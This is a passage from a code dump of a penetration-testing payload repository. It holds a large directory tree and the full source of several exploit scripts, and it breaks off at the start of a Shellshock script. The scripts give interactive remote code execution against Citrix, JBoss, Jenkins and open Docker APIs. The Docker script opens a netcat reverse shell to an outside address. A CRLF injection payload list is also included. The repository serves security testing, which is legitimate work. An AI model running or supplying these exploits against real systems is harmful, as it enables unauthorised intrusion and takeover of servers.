├── .github ├── .markdownlint.json ├── FUNDING.yml ├── banner.png ├── hopla_config.json ├── overrides │ └── main.html └── workflows │ ├── check-markdown.yml │ └── mkdocs-build.yml ├── .gitignore ├── API Key Leaks ├── Files │ └── MachineKeys.txt ├── IIS-Machine-Keys.md └── README.md ├── Account Takeover ├── README.md └── mfa-bypass.md ├── Business Logic Errors └── README.md ├── CONTRIBUTING.md ├── CORS Misconfiguration └── README.md ├── CRLF Injection ├── Files │ └── crlfinjection.txt └── README.md ├── CSV Injection └── README.md ├── CVE Exploits ├── Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py ├── Apache Struts 2 CVE-2017-9805.py ├── Apache Struts 2 CVE-2018-11776.py ├── Citrix CVE-2019-19781.py ├── Docker API RCE.py ├── Drupalgeddon2 CVE-2018-7600.rb ├── Heartbleed CVE-2014-0160.py ├── JBoss CVE-2015-7501.py ├── Jenkins CVE-2015-8103.py ├── Jenkins CVE-2016-0792.py ├── Jenkins Groovy Console.py ├── Log4Shell.md ├── README.md ├── Rails CVE-2019-5420.rb ├── Shellshock CVE-2014-6271.py ├── Telerik CVE-2017-9248.py ├── Telerik CVE-2019-18935.py ├── Tomcat CVE-2017-12617.py ├── WebLogic CVE-2016-3510.py ├── WebLogic CVE-2017-10271.py ├── WebLogic CVE-2018-2894.py ├── WebSphere CVE-2015-7450.py └── vBulletin RCE 5.0.0 - 5.5.4.sh ├── Clickjacking └── README.md ├── Client Side Path Traversal └── README.md ├── Command Injection ├── Intruder │ ├── command-execution-unix.txt │ └── command_exec.txt └── README.md ├── Cross-Site Request Forgery ├── Images │ └── CSRF-CheatSheet.png └── README.md ├── DISCLAIMER.md ├── DNS Rebinding └── README.md ├── DOM Clobbering └── README.md ├── Denial of Service └── README.md ├── Dependency Confusion └── README.md ├── Directory Traversal ├── Intruder │ ├── deep_traversal.txt │ ├── directory_traversal.txt │ ├── dotdotpwn.txt │ └── traversals-8-deep-exotic-encoding.txt └── README.md ├── External Variable Modification └── README.md ├── File Inclusion ├── Files │ ├── LFI2RCE.py │ ├── phpinfolfi.py │ └── uploadlfi.py ├── Intruders │ ├── BSD-files.txt │ ├── JHADDIX_LFI.txt │ ├── LFI-FD-check.txt │ ├── LFI-WindowsFileCheck.txt │ ├── Linux-files.txt │ ├── List_Of_File_To_Include.txt │ ├── List_Of_File_To_Include_NullByteAdded.txt │ ├── Mac-files.txt │ ├── Traversal.txt │ ├── Web-files.txt │ ├── Windows-files.txt │ ├── dot-slash-PathTraversal_and_LFI_pairing.txt │ ├── php-filter-iconv.txt │ └── simple-check.txt ├── LFI-to-RCE.md ├── README.md └── Wrappers.md ├── Google Web Toolkit └── README.md ├── GraphQL Injection ├── Images │ └── htb-help.png └── README.md ├── HTTP Parameter Pollution └── README.md ├── Headless Browser ├── README.md └── files │ ├── iframe.html │ └── window_location_js.html ├── Hidden Parameters └── README.md ├── Insecure Deserialization ├── DotNET.md ├── Files │ ├── Ruby_universal_gadget_generate_verify.rb │ ├── node-serialize.js │ └── ruby-serialize.yaml ├── Images │ └── NETNativeFormatters.png ├── Java.md ├── Node.md ├── PHP.md ├── Python.md ├── README.md └── Ruby.md ├── Insecure Direct Object References ├── Images │ └── idor.png └── README.md ├── Insecure Management Interface ├── Intruder │ └── springboot_actuator.txt └── README.md ├── Insecure Randomness └── README.md ├── Insecure Source Code Management ├── Bazaar.md ├── Files │ └── github-dorks.txt ├── Git.md ├── Mercurial.md ├── README.md └── Subversion.md ├── JSON Web Token └── README.md ├── Java RMI └── README.md ├── LDAP Injection ├── Intruder │ ├── LDAP_FUZZ.txt │ ├── LDAP_FUZZ_SMALL.txt │ └── LDAP_attributes.txt └── README.md ├── LICENSE ├── LaTeX Injection └── README.md ├── Mass Assignment └── README.md ├── Methodology and Resources ├── Active Directory Attack.md ├── Bind Shell Cheatsheet.md ├── Cloud - AWS Pentest.md ├── Cloud - Azure Pentest.md ├── Cobalt Strike - Cheatsheet.md ├── Container - Docker Pentest.md ├── Container - Kubernetes Pentest.md ├── Escape Breakout.md ├── HTML Smuggling.md ├── Hash Cracking.md ├── Initial Access.md ├── Linux - Evasion.md ├── Linux - Persistence.md ├── Linux - Privilege Escalation.md ├── MSSQL Server - Cheatsheet.md ├── Metasploit - Cheatsheet.md ├── Methodology and enumeration.md ├── Network Discovery.md ├── Network Pivoting Techniques.md ├── Office - Attacks.md ├── Powershell - Cheatsheet.md ├── Reverse Shell Cheatsheet.md ├── Source Code Management.md ├── Vulnerability Reports.md ├── Web Attack Surface.md ├── Windows - AMSI Bypass.md ├── Windows - DPAPI.md ├── Windows - Defenses.md ├── Windows - Download and Execute.md ├── Windows - Mimikatz.md ├── Windows - Persistence.md ├── Windows - Privilege Escalation.md └── Windows - Using credentials.md ├── NoSQL Injection ├── Intruder │ ├── MongoDB.txt │ └── NoSQL.txt └── README.md ├── OAuth Misconfiguration └── README.md ├── ORM Leak └── README.md ├── Open Redirect ├── Intruder │ ├── Open-Redirect-payloads.txt │ ├── open_redirect_wordlist.txt │ └── openredirects.txt └── README.md ├── Prompt Injection └── README.md ├── Prototype Pollution └── README.md ├── README.md ├── Race Condition └── README.md ├── Regular Expression └── README.md ├── Request Smuggling └── README.md ├── SAML Injection ├── Images │ ├── SAML-xml-flaw.png │ └── XSLT1.jpg └── README.md ├── SQL Injection ├── BigQuery Injection.md ├── Cassandra Injection.md ├── DB2 Injection.md ├── Images │ ├── PostgreSQL_cmd_exec.png │ ├── Unicode_SQL_injection.png │ └── wildcard_underscore.jpg ├── Intruder │ ├── Auth_Bypass.txt │ ├── Auth_Bypass2.txt │ ├── FUZZDB_MSSQL-WHERE_Time.txt │ ├── FUZZDB_MSSQL.txt │ ├── FUZZDB_MSSQL_Enumeration.txt │ ├── FUZZDB_MYSQL.txt │ ├── FUZZDB_MySQL-WHERE_Time.txt │ ├── FUZZDB_MySQL_ReadLocalFiles.txt │ ├── FUZZDB_Oracle.txt │ ├── FUZZDB_Postgres_Enumeration.txt │ ├── Generic_ErrorBased.txt │ ├── Generic_Fuzz.txt │ ├── Generic_TimeBased.txt │ ├── Generic_UnionSelect.txt │ ├── SQL-Injection │ ├── SQLi_Polyglots.txt │ ├── payloads-sql-blind-MSSQL-INSERT │ ├── payloads-sql-blind-MSSQL-WHERE │ ├── payloads-sql-blind-MySQL-INSERT │ ├── payloads-sql-blind-MySQL-ORDER_BY │ └── payloads-sql-blind-MySQL-WHERE ├── MSSQL Injection.md ├── MySQL Injection.md ├── OracleSQL Injection.md ├── PostgreSQL Injection.md ├── README.md ├── SQLite Injection.md └── SQLmap.md ├── Server Side Include Injection ├── Files │ └── ssi_esi.txt └── README.md ├── Server Side Request Forgery ├── Files │ ├── SSRF_expect.svg │ ├── SSRF_url.svg │ ├── ip.py │ ├── ssrf_ffmpeg.avi │ ├── ssrf_iframe.svg │ ├── ssrf_svg_css_import.svg │ ├── ssrf_svg_css_link.svg │ ├── ssrf_svg_css_xmlstylesheet.svg │ ├── ssrf_svg_image.svg │ └── ssrf_svg_use.svg ├── Images │ ├── Parser and Curl less than 7.54.png │ ├── SSRF_PDF.png │ ├── SSRF_Parser.png │ ├── SSRF_stream.png │ ├── WeakParser.jpg │ └── aws-cli.jpg ├── README.md ├── SSRF-Advanced-Exploitation.md └── SSRF-Cloud-Instances.md ├── Server Side Template Injection ├── ASP.md ├── Images │ ├── serverside.png │ └── template-library.jpg ├── Intruder │ └── ssti.fuzz ├── Java.md ├── JavaScript.md ├── PHP.md ├── Python.md ├── README.md └── Ruby.md ├── Tabnabbing └── README.md ├── Type Juggling ├── Images │ └── table_representing_behavior_of_PHP_with_loose_type_comparisons.png └── README.md ├── Upload Insecure Files ├── CVE FFmpeg HLS │ ├── gen_avi_bypass.py │ ├── gen_xbin_avi.py │ ├── read_passwd.avi │ ├── read_passwd_bypass.mp4 │ ├── read_shadow.avi │ └── read_shadow_bypass.mp4 ├── CVE ZIP Symbolic Link │ ├── etc_passwd.zip │ ├── generate.sh │ └── passwd ├── Configuration Apache .htaccess │ ├── .htaccess │ ├── .htaccess_phpinfo │ ├── .htaccess_rce_files │ ├── .htaccess_shell │ └── README.md ├── Configuration IIS web.config │ └── web.config ├── Configuration Python __init__.py │ ├── python-admin-__init__.py.zip │ ├── python-conf-__init__.py.zip │ ├── python-config-__init__.py.zip │ ├── python-controllers-__init__.py.zip │ ├── python-generate-init.py │ ├── python-login-__init__.py.zip │ ├── python-models-__init__.py.zip │ ├── python-modules-__init__.py.zip │ ├── python-scripts-__init__.py.zip │ ├── python-settings-__init__.py.zip │ ├── python-tests-__init__.py.zip │ ├── python-urls-__init__.py.zip │ ├── python-utils-__init__.py.zip │ └── python-view-__init__.py.zip ├── Configuration uwsgi.ini │ └── uwsgi.ini ├── EICAR │ └── eicar.txt ├── Extension ASP │ ├── shell.asa │ ├── shell.ashx │ ├── shell.asmx │ ├── shell.asp │ ├── shell.aspx │ ├── shell.cer │ ├── shell.soap │ └── shell.xamlx ├── Extension HTML │ └── xss.html ├── Extension PHP │ ├── extensions.lst │ ├── php-script-tag.php │ ├── phpinfo.jpg.php │ ├── phpinfo.phar │ ├── phpinfo.php │ ├── phpinfo.php3 │ ├── phpinfo.php4 │ ├── phpinfo.php5 │ ├── phpinfo.php7 │ ├── phpinfo.php8 │ ├── phpinfo.phpt │ ├── phpinfo.pht │ ├── phpinfo.phtml │ ├── shell.gif^shell.php │ ├── shell.jpeg.php │ ├── shell.jpg.php │ ├── shell.jpg^shell.php │ ├── shell.pgif │ ├── shell.phar │ ├── shell.php │ ├── shell.php3 │ ├── shell.php4 │ ├── shell.php5 │ ├── shell.php7 │ ├── shell.phpt │ ├── shell.pht │ ├── shell.phtml │ ├── shell.png.php │ ├── shell.png^shell.php │ └── tiny.php ├── Images │ └── file-upload-mindmap.png ├── Jetty RCE │ └── JettyShell.xml ├── Picture Compression │ ├── GIF_exploit.gif │ ├── JPG_exploit-55.jpg │ ├── PNG_110x110_resize_bypass_use_LFI.png │ ├── PNG_32x32_resize_bypass_use_LFI.png │ ├── createBulletproofJPG.py │ ├── createCompressedPNG_110x110.php │ ├── createGIFwithGlobalColorTable.php │ └── createPNGwithPLTE.php ├── Picture ImageMagick │ ├── convert_local_etc_passwd.svg │ ├── convert_local_etc_passwd_html.svg │ ├── ghostscript_rce_curl.jpg │ ├── imagemagick_CVE-2022-44268_convert_etc_passwd.png │ ├── imagemagick_ghostscript_cmd_exec.pdf │ ├── imagemagik_ghostscript_reverse_shell.jpg │ ├── imagetragik1_payload_imageover_file_exfiltration_pangu_wrapper.jpg │ ├── imagetragik1_payload_imageover_file_exfiltration_text_wrapper.jpg │ ├── imagetragik1_payload_imageover_reverse_shell_devtcp.jpg │ ├── imagetragik1_payload_imageover_reverse_shell_netcat_fifo.png │ ├── imagetragik1_payload_imageover_wget.gif │ ├── imagetragik1_payload_url_bind_shell_nc.mvg │ ├── imagetragik1_payload_url_curl.png │ ├── imagetragik1_payload_url_portscan.jpg │ ├── imagetragik1_payload_url_remote_connection.mvg │ ├── imagetragik1_payload_url_reverse_shell_bash.mvg │ ├── imagetragik1_payload_url_touch.jpg │ ├── imagetragik1_payload_xml_reverse_shell_nctraditional.xml │ ├── imagetragik1_payload_xml_reverse_shell_netcat_encoded.xml │ ├── imagetragik2_burpcollaborator_passwd.jpg │ ├── imagetragik2_centos_id.jpg │ ├── imagetragik2_ubuntu_id.jpg │ ├── imagetragik2_ubuntu_shell.jpg │ └── imagetragik2_ubuntu_shell2.jpg ├── Picture Metadata │ ├── Build_image_to_LFI.py │ ├── CVE-2021-22204_exiftool_echo.jpg │ ├── CVE-2021-22204_exiftool_revshell.jpg │ ├── PHP_exif_phpinfo.jpg │ ├── PHP_exif_system.gif │ ├── PHP_exif_system.jpg │ └── PHP_exif_system.png ├── README.md └── Server Side Include │ ├── exec.shtml │ ├── include.shtml │ └── index.stm ├── Web Cache Deception ├── Images │ └── wcd.jpg ├── Intruders │ └── param_miner_lowercase_headers.txt └── README.md ├── Web Sockets ├── Files │ └── ws-harness.py ├── Images │ ├── WebsocketHarness.jpg │ ├── sqlmap.png │ └── websocket-harness-start.png └── README.md ├── XPATH Injection └── README.md ├── XSLT Injection ├── Files │ ├── enum-system-version-vendor.xsl │ ├── file-write.xsl │ ├── rce-dotnet-2.xsl │ ├── rce-dotnet.xsl │ ├── rce-java-1.xsl │ ├── rce-java-2.xsl │ ├── rce-php-assert.xsl │ ├── rce-php-file-create.xsl │ ├── rce-php-file-read.xsl │ ├── rce-php-meterpreter.xsl │ ├── rce-php-scandir.xsl │ ├── read-and-ssrf.xsl │ ├── system-properties.xml │ ├── system-properties.xsl │ └── xxe.xsl └── README.md ├── XSS Injection ├── 1 - XSS Filter Bypass.md ├── 2 - XSS Polyglot.md ├── 3 - XSS Common WAF Bypass.md ├── 4 - CSP Bypass.md ├── 5 - XSS in Angular.md ├── Files │ ├── InsecureFlashFile.swf │ ├── JupyterNotebookXSS.ipynb │ ├── SVG_XSS1.svg │ ├── SVG_XSS2.svg │ ├── SVG_XSS3.svg │ ├── SVG_XSS_green_triangle.svg │ ├── SVG_XSS_nested_img_xlink.svg │ ├── SVG_XSS_nested_svg.svg │ ├── SVG_XSS_nested_use_xlink.svg │ ├── SVG_XSS_red_lightning.svg │ ├── SWF_XSS.swf │ ├── mouseover-xss-ecs.jpeg │ ├── onclick-xss-ecs.jpeg │ ├── payload_in_all_known_exif_corrupted.jpg │ ├── payload_in_all_known_exif_corrupted.png │ ├── payload_in_all_known_metadata.jpg │ ├── payload_in_all_known_metadata.png │ ├── payload_text_xss.png │ ├── xml.xsd │ ├── xss.cer │ ├── xss.dtd │ ├── xss.htm │ ├── xss.html.demo │ ├── xss.hxt │ ├── xss.mno │ ├── xss.rdf │ ├── xss.svgz │ ├── xss.url.url │ ├── xss.vml │ ├── xss.wsdl │ ├── xss.xht │ ├── xss.xhtml │ ├── xss.xml │ ├── xss.xsd │ ├── xss.xsf │ ├── xss.xsl │ ├── xss.xslt │ ├── xss_comment_exif_metadata_double_quote.png │ └── xss_comment_exif_metadata_single_quote.png ├── Images │ └── DwrkbH1VAAErOI2.jpg ├── Intruders │ ├── 0xcela_event_handlers.txt │ ├── BRUTELOGIC-XSS-JS.txt │ ├── BRUTELOGIC-XSS-STRINGS.txt │ ├── IntrudersXSS.txt │ ├── JHADDIX_XSS.txt │ ├── MarioXSSVectors.txt │ ├── RSNAKE_XSS.txt │ ├── XSSDetection.txt │ ├── XSS_Polyglots.txt │ ├── jsonp_endpoint.txt │ ├── port_swigger_xss_cheatsheet_event_handlers.txt │ ├── xss_alert.txt │ ├── xss_alert_identifiable.txt │ ├── xss_payloads_quick.txt │ └── xss_swf_fuzz.txt └── README.md ├── XXE Injection ├── Files │ ├── Classic XXE - etc passwd.xml │ ├── Classic XXE B64 Encoded.xml │ ├── Classic XXE.xml │ ├── Deny Of Service - Billion Laugh Attack │ ├── XXE OOB Attack (Yunusov, 2013).xml │ └── XXE PHP Wrapper.xml ├── Intruders │ ├── XXE_Fuzzing.txt │ └── xml-attacks.txt └── README.md ├── Zip Slip └── README.md ├── _LEARNING_AND_SOCIALS ├── BOOKS.md ├── TWITTER.md └── YOUTUBE.md ├── _template_vuln └── README.md ├── custom.css └── mkdocs.yml /.github/.markdownlint.json: -------------------------------------------------------------------------------- 1 | { 2 | "default": true, 3 | "MD013": false, 4 | "no-duplicate-heading": { 5 | "siblings_only": true 6 | }, 7 | "ul-indent": { 8 | "indent": 4 9 | } 10 | } -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | github: swisskyrepo 3 | ko_fi: swissky 4 | custom: https://www.buymeacoffee.com/swissky -------------------------------------------------------------------------------- /.github/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/aaf6bdf394fe0bf674c1a0c88d6459daca6b1573/.github/banner.png -------------------------------------------------------------------------------- /.github/overrides/main.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block content %} 4 | {{ super() }} 5 |
19 | {% endblock %} 20 | 21 | {% block styles %} 22 | {{ super() }} 23 | 28 | {% endblock %} -------------------------------------------------------------------------------- /.github/workflows/check-markdown.yml: -------------------------------------------------------------------------------- 1 | name: check-markdown 2 | on: [push, pull_request] 3 | 4 | jobs: 5 | lint: 6 | runs-on: ubuntu-latest 7 | steps: 8 | - uses: actions/checkout@v4 9 | with: 10 | fetch-depth: 0 11 | 12 | - uses: tj-actions/changed-files@v45 13 | id: changed-files 14 | with: 15 | files: '**/*.md' 16 | separator: "," 17 | 18 | - uses: DavidAnson/markdownlint-cli2-action@v17 19 | if: steps.changed-files.outputs.any_changed == 'true' 20 | with: 21 | globs: ${{ steps.changed-files.outputs.all_changed_files }} 22 | separator: "," 23 | config: ./.github/.markdownlint.json -------------------------------------------------------------------------------- /.github/workflows/mkdocs-build.yml: -------------------------------------------------------------------------------- 1 | name: mkdocs-build 2 | on: 3 | push: 4 | branches: 5 | - master 6 | 7 | jobs: 8 | deploy: 9 | runs-on: ubuntu-latest 10 | steps: 11 | - uses: actions/checkout@v2 12 | with: 13 | submodules: recursive 14 | 15 | # Checks-out submodules 16 | - uses: actions/checkout@v2 17 | - name: Checkout submodules 18 | shell: bash 19 | run: | 20 | git config --global user.email "no-reply@github.com" 21 | git config --global user.name "Swk" 22 | git config --global pull.rebase false 23 | git submodule add https://github.com/swisskyrepo/PayloadsAllTheThings/ docs 24 | mv docs/.github/overrides . 25 | 26 | - uses: actions/setup-python@v2 27 | with: 28 | python-version: 3.x 29 | - run: pip install mkdocs-material 30 | - run: pip install mkdocs-git-revision-date-localized-plugin 31 | - run: pip install mkdocs-git-committers-plugin 32 | - run: pip install mkdocs-material[imaging] 33 | - run: pip install mdx_truly_sane_lists 34 | - run: mkdocs gh-deploy --force 35 | 36 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | BuildPDF/ 2 | .vscode 3 | .todo -------------------------------------------------------------------------------- /CRLF Injection/Files/crlfinjection.txt: -------------------------------------------------------------------------------- 1 | /%%0a0aSet-Cookie:crlf=injection 2 | /%0aSet-Cookie:crlf=injection 3 | /%0d%0aSet-Cookie:crlf=injection 4 | /%0dSet-Cookie:crlf=injection 5 | /%23%0aSet-Cookie:crlf=injection 6 | /%23%0d%0aSet-Cookie:crlf=injection 7 | /%23%0dSet-Cookie:crlf=injection 8 | /%25%30%61Set-Cookie:crlf=injection 9 | /%25%30aSet-Cookie:crlf=injection 10 | /%250aSet-Cookie:crlf=injection 11 | /%25250aSet-Cookie:crlf=injection 12 | /%2e%2e%2f%0d%0aSet-Cookie:crlf=injection 13 | /%2f%2e%2e%0d%0aSet-Cookie:crlf=injection 14 | /%2F..%0d%0aSet-Cookie:crlf=injection 15 | /%3f%0d%0aSet-Cookie:crlf=injection 16 | /%3f%0dSet-Cookie:crlf=injection 17 | /%u000aSet-Cookie:crlf=injection 18 | -------------------------------------------------------------------------------- /CVE Exploits/Citrix CVE-2019-19781.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # https://github.com/mpgn/CVE-2019-19781 3 | # # # 4 | 5 | import requests 6 | import string 7 | import random 8 | import re 9 | import sys 10 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 11 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 12 | 13 | print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway") 14 | print("Found by Mikhail Klyuchnikov") 15 | print("") 16 | 17 | if len(sys.argv) < 2: 18 | print("[-] No URL provided") 19 | sys.exit(0) 20 | 21 | while True: 22 | try: 23 | command = input("command > ") 24 | 25 | random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12)) 26 | print("[+] Adding bookmark", random_xml + ".xml") 27 | 28 | burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl" 29 | burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" + 30 | random_xml, "NSC_NONCE": "c", "Connection": "close"} 31 | burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"} 32 | r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False) 33 | 34 | if r.status_code == 200: 35 | print("[+] Bookmark added") 36 | else: 37 | print("\n[-] Target not vulnerable or something went wrong") 38 | sys.exit(0) 39 | 40 | burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml" 41 | burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" + 42 | random_xml, "NSC_NONCE": "c", "Connection": "close"} 43 | r = requests.get(burp0_url, headers=burp0_headers,verify=False) 44 | 45 | replaced = re.sub('^.* $', '', r.text, flags=re.MULTILINE) 46 | print("[+] Result of the command: \n") 47 | print(replaced) 48 | 49 | except KeyboardInterrupt: 50 | print("Exiting...") 51 | break -------------------------------------------------------------------------------- /CVE Exploits/Docker API RCE.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import requests 3 | import logging 4 | import json 5 | import urllib.parse 6 | 7 | # NOTE 8 | # Enable Remote API with the following command 9 | # /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock 10 | # This is an intended feature, remember to filter the port 2375.. 11 | 12 | name = "docker" 13 | description = "Docker RCE via Open Docker API on port 2375" 14 | author = "Swissky" 15 | 16 | # Step 1 - Extract id and name from each container 17 | ip = "127.0.0.1" 18 | port = "2375" 19 | data = "containers/json" 20 | url = "http://{}:{}/{}".format(ip, port, data) 21 | r = requests.get(url) 22 | 23 | if r.json: 24 | for container in r.json(): 25 | container_id = container['Id'] 26 | container_name = container['Names'][0].replace('/','') 27 | print((container_id, container_name)) 28 | 29 | # Step 2 - Prepare command 30 | cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]' 31 | data = "containers/{}/exec".format(container_name) 32 | url = "http://{}:{}/{}".format(ip, port, data) 33 | post_json = '{ "AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":'+cmd+' }' 34 | post_header = { 35 | "Content-Type": "application/json" 36 | } 37 | r = requests.post(url, json=json.loads(post_json)) 38 | 39 | 40 | # Step 3 - Execute command 41 | id_cmd = r.json()['Id'] 42 | data = "exec/{}/start".format(id_cmd) 43 | url = "http://{}:{}/{}".format(ip, port, data) 44 | post_json = '{ "Detach":false,"Tty":false}' 45 | post_header = { 46 | "Content-Type": "application/json" 47 | } 48 | r = requests.post(url, json=json.loads(post_json)) 49 | print(r) -------------------------------------------------------------------------------- /CVE Exploits/JBoss CVE-2015-7501.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python2 2 | 3 | # Jboss Java Deserialization RCE (CVE-2015-7501) 4 | # Made with <3 by @byt3bl33d3r 5 | 6 | from __future__ import print_function 7 | import requests 8 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 9 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 10 | 11 | import argparse 12 | import sys, os 13 | #from binascii import hexlify, unhexlify 14 | from subprocess import check_output 15 | 16 | ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar'] 17 | ysoserial_path = None 18 | 19 | parser = argparse.ArgumentParser() 20 | parser.add_argument('target', type=str, help='Target IP') 21 | parser.add_argument('command', type=str, help='Command to run on target') 22 | parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)') 23 | parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)') 24 | 25 | if len(sys.argv) < 2: 26 | parser.print_help() 27 | sys.exit(1) 28 | 29 | args = parser.parse_args() 30 | 31 | if not args.ysoserial_path: 32 | for path in ysoserial_default_paths: 33 | if os.path.exists(path): 34 | ysoserial_path = path 35 | else: 36 | if os.path.exists(args.ysoserial_path): 37 | ysoserial_path = args.ysoserial_path 38 | 39 | if ysoserial_path is None: 40 | print('[-] Could not find ysoserial JAR file') 41 | sys.exit(1) 42 | 43 | if len(args.target.split(":")) != 2: 44 | print('[-] Target must be in format IP:PORT') 45 | sys.exit(1) 46 | 47 | if not args.command: 48 | print('[-] You must specify a command to run') 49 | sys.exit(1) 50 | 51 | ip, port = args.target.split(':') 52 | 53 | print('[*] Target IP: {}'.format(ip)) 54 | print('[*] Target PORT: {}'.format(port)) 55 | 56 | gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command]) 57 | 58 | r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget) 59 | 60 | if r.status_code == 200: 61 | print('[+] Command executed successfully') 62 | 63 | -------------------------------------------------------------------------------- /CVE Exploits/Jenkins Groovy Console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py 3 | # DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b 4 | from __future__ import print_function 5 | from builtins import input 6 | import requests 7 | import sys 8 | 9 | print(""" 10 | Jenkins Groovy Console cmd runner. 11 | 12 | usage: ./jgc.py [HOST] 13 | 14 | Then type any command and wait for STDOUT output from remote machine. 15 | Type 'exit' to exit :) 16 | """) 17 | URL = sys.argv[1] + '/scriptText' 18 | HEADERS = { 19 | 'User-Agent': 'jgc' 20 | } 21 | 22 | while 1: 23 | CMD = input(">> Enter command to execute (or type 'exit' to exit): ") 24 | if CMD == 'exit': 25 | print("exiting...\n") 26 | exit(0) 27 | 28 | DATA = { 29 | 'script': 'println "{}".execute().text'.format(CMD) 30 | } 31 | result = requests.post(URL, headers=HEADERS, data=DATA) 32 | print(result.text) -------------------------------------------------------------------------------- /CVE Exploits/Shellshock CVE-2014-6271.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # Successful Output: 4 | # # python shell_shocker.py